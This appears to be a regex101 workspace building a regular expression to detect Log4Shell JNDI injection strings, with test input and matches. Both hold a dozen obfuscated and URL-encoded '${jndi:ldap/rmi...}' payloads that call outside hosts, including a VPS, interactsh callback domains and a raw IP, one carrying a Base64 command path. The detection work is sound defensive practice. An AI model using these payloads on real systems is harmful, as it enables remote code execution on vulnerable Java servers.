regex101: PCRE2 (PHP) Match Workspace

Regular Expression

^(?i)(?:\$|%(?:25){0,2}24)(?:\{|%(?:25){0,2}7b)(?:.*?(?=j|%(?:25){0,2}6a)(?:j|%(?:25){0,2}6a))(?:.*?(?=n|%(?:25){0,2}6e)(?:n|%(?:25){0,2}6e))(?:.*?(?=d|%(?:25){0,2}64)(?:d|%(?:25){0,2}64))(?:.*?(?=i|%(?:25){0,2}69)(?:i|%(?:25){0,2}69))(?:.*?(?=\:|%(?:25){0,2}3a)(?:\:|%(?:25){0,2}3a))(?:(?:.*?(?=l|%(?:25){0,2}6c)(?:l|%(?:25){0,2}6c))(?:.*?(?=d|%(?:25){0,2}64)(?:d|%(?:25){0,2}64))(?:.*?(?=a|%(?:25){0,2}61)(?:a|%(?:25){0,2}61))(?:.*?(?=p|%(?:25){0,2}70)(?:p|%(?:25){0,2}70))(?:(?:.*?(?=s|%(?:25){0,2}73)(?:s|%(?:25){0,2}73)))?|(?:.*?(?=d|%(?:25){0,2}64)(?:d|%(?:25){0,2}64))(?:.*?(?=n|%(?:25){0,2}6e)(?:n|%(?:25){0,2}6e))(?:.*?(?=s|%(?:25){0,2}73)(?:s|%(?:25){0,2}73))|(?:.*?(?=r|%(?:25){0,2}72)(?:r|%(?:25){0,2}72))(?:.*?(?=m|%(?:25){0,2}6d)(?:m|%(?:25){0,2}6d))(?:.*?(?=i|%(?:25){0,2}69)(?:i|%(?:25){0,2}69))|(?:.*?(?=n|%(?:25){0,2}6e)(?:n|%(?:25){0,2}6e))(?:.*?(?=i|%(?:25){0,2}69)(?:i|%(?:25){0,2}69))(?:.*?(?=s|%(?:25){0,2}73)(?:s|%(?:25){0,2}73))|(?:.*?(?=n|%(?:25){0,2}6e)(?:n|%(?:25){0,2}6e))(?:.*?(?=d|%(?:25){0,2}64)(?:d|%(?:25){0,2}64))(?:.*?(?=s|%(?:25){0,2}73)(?:s|%(?:25){0,2}73))|(?:.*?(?=c|%(?:25){0,2}63)(?:c|%(?:25){0,2}63))(?:.*?(?=o|%(?:25){0,2}6f)(?:o|%(?:25){0,2}6f))(?:.*?(?=r|%(?:25){0,2}72)(?:r|%(?:25){0,2}72))(?:.*?(?=b|%(?:25){0,2}62)(?:b|%(?:25){0,2}62))(?:.*?(?=a|%(?:25){0,2}61)(?:a|%(?:25){0,2}61))|(?:.*?(?=i|%(?:25){0,2}69)(?:i|%(?:25){0,2}69))(?:.*?(?=i|%(?:25){0,2}69)(?:i|%(?:25){0,2}69))(?:.*?(?=o|%(?:25){0,2}6f)(?:o|%(?:25){0,2}6f))(?:.*?(?=p|%(?:25){0,2}70)(?:p|%(?:25){0,2}70)))(?:.*?(?=\:|%(?:25){0,2}3a)(?:\:|%(?:25){0,2}3a))(?:.*?(?=\/|%(?:25){0,2}2f)(?:\/|%(?:25){0,2}2f))(?:.*?(?=\/|%(?:25){0,2}2f)(?:\/|%(?:25){0,2}2f))(?:.*?(?=\}|%(?:25){0,2}7d)(?:\}|%(?:25){0,2}7d))

New

${jndi:ldap://******.vps.ovh.net/a}
%24%7bjndi%25253aldap%253a%2f%25252f******.vps.ovh.net/a}
${${lower:J}${upper:n}d${upper:i}${upper::}${lower:l}${lower:D}a${lower:p}${upper::}${upper:/}${lower:/}******.vps.ovh.net${upper:/}a}
${${lower:J}${upper:n}${env:BROKESYSTEM:-d}${upper:i}${::-:}${::-l}${lower:D}a${env:BROKESYSTEM:-p}${::-:}${::-/}${::-/}******.vps.ovh.net:443/Basic/Command/Base64/*********==}
%252524%25257Bjndi%3Aldap://******.vps.ovh.net/a}
${${env:BARFOO:-j}${upper:n}d${upper:i}${upper::}${lower:l}${lower:D}a${lower:p}${upper::}${upper:/}${lower:/}******.vps.ovh.net${upper:/}a}
${${::-j}${::-n}${::-d}${::-i}:ldap://******.vps.ovh.net/a}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.c6s8nslmk1u0g9jus3a0cghmy7obs3sw4.interact.sh}
%24%7B%24%7B%3A%3A-j%7D%24%7B%3A%3A-n%7D%24%7B%3A%3A-d%7D%24%7B%3A%3A-i%7D%3A+%24%7B%3A%3A-r%7D%24%7B%3A%3A-m%7D%24%7B%3A%3A-i%7D%3A%2F%2Fc6s2olc67qq8mci4j6tgcghrzbeyyrhy6.interactsh.com%2Fpoc%7D
%24%7B%24%7Blower%3A+%24%7Blower%3Ajndi%7D%7D%3A+%24%7Blower%3Armi%7D%3A%2F%2Fc6s2olc67qq8mci4j6tgcghrzaayyr75k.interactsh.com%2Fpoc%7D
%24%7B%24%7B%3A%3A-j%7D%24%7B%3A%3A-n%7D%24%7B%3A%3A-d%7D%24%7B%3A%3A-i%7D%3A+%24%7B%3A%3A-r%7D%24%7B%3A%3A-m%7D%24%7B%3A%3A-i%7D%3A%2F%2Fc6s2olc67qq8mci4j6tgcghrzseyyr7ik.interactsh.com%2Fpoc%7D
${${::-j}nd${::-i}:ldap://92.63.197.53:1389/or2q2y}
%24%7B%24%7B%3A%3A-j%7Dnd%24%7B%3A%3A-i%7D%3Aldap%3A%2F%2F92.63.197.53%3A1389%2For2q2y%7D

Extraction

${jndi:ldap://******.vps.ovh.net/a}
%24%7bjndi%25253aldap%253a%2f%25252f******.vps.ovh.net/a}
${${lower:J}${upper:n}d${upper:i}${upper::}${lower:l}${lower:D}a${lower:p}${upper::}${upper:/}${lower:/}******.vps.ovh.net${upper:/}a}
${${lower:J}${upper:n}${env:BROKESYSTEM:-d}${upper:i}${::-:}${::-l}${lower:D}a${env:BROKESYSTEM:-p}${::-:}${::-/}${::-/}******.vps.ovh.net:443/Basic/Command/Base64/*********==}
%252524%25257Bjndi%3Aldap://******.vps.ovh.net/a}
${${env:BARFOO:-j}${upper:n}d${upper:i}${upper::}${lower:l}${lower:D}a${lower:p}${upper::}${upper:/}${lower:/}******.vps.ovh.net${upper:/}a}
${${::-j}${::-n}${::-d}${::-i}:ldap://******.vps.ovh.net/a}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.c6s8nslmk1u0g9jus3a0cghmy7obs3sw4.interact.sh}
%24%7B%24%7B%3A%3A-j%7D%24%7B%3A%3A-n%7D%24%7B%3A%3A-d%7D%24%7B%3A%3A-i%7D%3A+%24%7B%3A%3A-r%7D%24%7B%3A%3A-m%7D%24%7B%3A%3A-i%7D%3A%2F%2Fc6s2olc67qq8mci4j6tgcghrzbeyyrhy6.interactsh.com%2Fpoc%7D
%24%7B%24%7Blower%3A+%24%7Blower%3Ajndi%7D%7D%3A+%24%7Blower%3Armi%7D%3A%2F%2Fc6s2olc67qq8mci4j6tgcghrzaayyr75k.interactsh.com%2Fpoc%7D
%24%7B%24%7B%3A%3A-j%7D%24%7B%3A%3A-n%7D%24%7B%3A%3A-d%7D%24%7B%3A%3A-i%7D%3A+%24%7B%3A%3A-r%7D%24%7B%3A%3A-m%7D%24%7B%3A%3A-i%7D%3A%2F%2Fc6s2olc67qq8mci4j6tgcghrzseyyr7ik.interactsh.com%2Fpoc%7D
${${::-j}nd${::-i}:ldap://92.63.197.53:1389/or2q2y}
%24%7B%24%7B%3A%3A-j%7Dnd%24%7B%3A%3A-i%7D%3Aldap%3A%2F%2F92.63.197.53%3A1389%2For2q2y%7D